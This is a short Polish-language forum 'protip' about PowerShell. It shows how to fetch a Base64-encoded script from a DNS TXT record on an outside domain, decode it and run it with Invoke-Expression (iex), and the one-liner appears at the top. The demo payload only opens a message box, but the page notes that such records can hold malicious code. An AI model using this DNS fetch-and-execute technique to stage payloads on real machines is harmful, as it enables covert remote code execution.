ALPHACON BBSGość · pl
← Protipy

Protipy / PowerShell

Pobierz i uruchom payload po DNS

[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Resolve-DnsName -Type TXT msg.aptmc.pl).strings))|iex

Wstęp

Cmdlet Resolve-DnsName służy do resolvowania nazw DNS;). W rekordach TXT mogą się mieścić zupełnie długie łańcuchy znaków, aż się więc prosi, by umieścić w nich złośliwy - bardziej lub mniej - kod. Dla przykładu, zobaczmy co znajduje się w rekordzie TXT domeny msg.aptmc.pl:

PS C:\Users\drg> (Resolve-DnsName -Type TXT msg.aptmc.pl).strings
 W1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZFdpdGhQYXJ0aWFsTmFtZSgiU3lzdGVtLldpbmRvd3MuRm9ybXMiKQ0KW1N5c3RlbS5XaW5kb3dzLkZvcm1zLk1lc3NhZ2VCb3hdOjpTaG93KCJJIGxvdmUgdGhpcyBqb2IhIDspIiwgIkhlbGxvIiwgMSk=
PS C:\Users\drg>

Wygląda to jak zakodowany Base64, możemy więc wykorzystać wspomnianego już CyberChefa lub zdekodować go od razu w Powershellu:

PS C:\Users\drg> [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Resolve-DnsName -Type TXT msg.aptmc.pl).strings))
 [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
 [System.Windows.Forms.MessageBox]::Show("I love this job! ;)", "Hello", 1)
PS C:\Users\drg>

By to uruchomić, wystarczy dodać na końcu |Invoke-Expression lub w skrócie |iex.